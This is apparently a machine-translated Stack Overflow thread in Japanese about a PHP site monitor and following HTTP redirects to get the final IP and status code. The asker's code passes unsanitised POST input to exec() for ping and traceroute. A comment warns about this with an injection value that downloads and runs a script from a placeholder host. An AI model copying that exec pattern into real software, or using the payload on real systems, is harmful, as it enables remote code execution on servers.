2012-04-12 27 views
2

ドメインの配列をpingしてステータスを返す小さなWebアプリケーションを構築しています。これらがアップまたはダウンしているかどうかを監視したり、など(live example that may or may not be workingリダイレクト後にホストのIPアドレスとHTTPステータスを取得する

私はexec("ping -n 3 -w 3 {$_POST['host']}", $output, $status);を使用して開始し、現在exec("traceroute -w 1 {$_POST['host']}", $output, $status);を使用して、最後の$outputをつかみ、そこにIPをマッチングしています。これは、私はそれが301のリダイレクトを以下のいない気づい除き、ほとんどの部分のために働く

など

例えばmyrayhawk.com上のtracerouteのようなものが得られます。

1 192.168.1.1 (192.168.1.1) 0.495 ms 0.683 ms 0.911 ms 
2 10.71.96.1 (10.71.96.1) 32.220 ms 55.987 ms 57.109 ms 
3 ip68-4-12-93.oc.oc.cox.net (68.4.12.93) 58.231 ms 59.353 ms 60.424 ms 
4 68.4.15.242 (68.4.15.242) 72.339 ms 73.451 ms 74.641 ms 
5 ip68-4-11-16.oc.oc.cox.net (68.4.11.16) 76.265 ms 77.383 ms 79.591 ms 
6 ip68-4-11-94.oc.oc.cox.net (68.4.11.94) 143.201 ms 18.749 ms 41.717 ms 
7 langbprj01-ae1.rd.la.cox.net (68.1.1.13) 42.843 ms 43.971 ms 68.194 ms 
8 reserved.metro.la.ipv4.godaddy.com (206.223.123.32) 45.094 ms 70.501 ms 69.329 ms 
9 ip-97-74-253-94.ip.secureserver.net (97.74.253.94) 71.622 ms 72.754 ms 74.844 ms 
10 ip-97-74-253-94.ip.secureserver.net (97.74.253.94) 108.322 ms 112.058 ms 109.446 ms 

11 ip-97-74-253-98.ip.secureserver.net (97.74.253.98) 110.589 ms 37.376 ms 38.861 ms 
12 ip-97-74-254-134.ip.secureserver.net (97.74.254.134) 68.868 ms 70.791 ms 72.282 ms 
13 ip-184-168-86-185.ip.secureserver.net (184.168.86.185) 82.400 ms 76.183 ms 78.540 ms 

しかしrayhawk.comに同じことをやって

1 192.168.1.1 (192.168.1.1) 0.738 ms 0.868 ms 1.174 ms 
2 10.71.96.1 (10.71.96.1) 95.723 ms 119.914 ms 122.994 ms 
3 ip68-4-12-89.oc.oc.cox.net (68.4.12.89) 123.558 ms 124.115 ms 124.679 ms 
4 68.4.15.240 (68.4.15.240) 127.319 ms 127.933 ms 128.523 ms 
5 ip68-4-11-16.oc.oc.cox.net (68.4.11.16) 126.672 ms 132.373 ms 131.802 ms 
6 ip68-4-11-94.oc.oc.cox.net (68.4.11.94) 130.986 ms 65.913 ms 64.542 ms 
7 langbprj01-ae1.rd.la.cox.net (68.1.1.13) 89.395 ms 88.751 ms 88.113 ms 
8 reserved.metro.la.ipv4.godaddy.com (206.223.123.32) 97.840 ms 89.999 ms 90.593 ms 
9 po36.trma0202-01.bbn.mgmt.phx3.gdg (216.69.188.33) 98.454 ms 99.034 ms 115.921 ms 
10 po36.trma0202-01.bbn.mgmt.phx3.gdg (216.69.188.33) 114.698 ms 114.032 ms 115.263 ms 
11 * * * 
12 * * * 
13 * * * 
14 * * * 
15 * * * 

私はwget --spider hostname.comが、を使用して試してみた:私は知っているので、そこに301リダイレクトがありますは、exec()の呼び出しでうまく動作しません。

平野SSHでwgetを行うとき、私は得る:

Resolving rayhawk.com... 72.167.131.159 
Connecting to rayhawk.com|72.167.131.159|:80... connected. 
HTTP request sent, awaiting response... 301 Moved Permanently 
Location: http://www.rayhawk.com/ [following] 
Spider mode enabled. Check if remote file exists. 
--2012-04-12 11:37:42-- http://www.rayhawk.com/ 
Resolving www.rayhawk.com... 72.167.131.159 
Connecting to www.rayhawk.com|72.167.131.159|:80... connected. 
HTTP request sent, awaiting response... 200 OK 

そして、私が望んでいたものを解析できます。

ホストの最終的な場所を解決し、PHPでHTTPステータスコードを取得するにはどうすればよいですか?

私はそれが起こることができるリダイレクトHTTPの証跡を取得する方法についてのブログ記事を書いた
+0

ping/tracerouteにはhttpリダイレクトに関する知識がありません。彼らはネットワークスタックとはまったく異なるレベルにあります。あなたは基本的にDNS操作をしています。 –

+3

'exec(" traceroute -w 1 {$ _POST ['host']} "、$ output、$ status);'を含むスクリプトのURLを教えてください。私はそれから 'host =; wget http://evil.host/evil.sh; chmod + x evil.sh;/evil.sh' – ThiefMaster

+0

@ThiefMaster hehe ... oops。それを指摘してくれてありがとう。 –

答えて

1

は、それがコードの例が付属しています:

http://example.com/のための出力例:

Status code (after all redirects): 200 
Number of responses: 2 (1 Redirect(s)) 
* http://example.com/ -- 302 --> http://www.iana.org/domains/example/ 

コードの詳細については、the answer to a related question HTTP response code after redirectを参照してください。

+0

これは良いですが、ちょうどIPが不足している= \ –

+0

IPに名前を解決することを意味しますか?まあ、 '' gethostbyname'(http://php.net/gethostbyname)と自然に '' parse_url'(http://php.net/parse_url)があります。 – hakre

関連する問題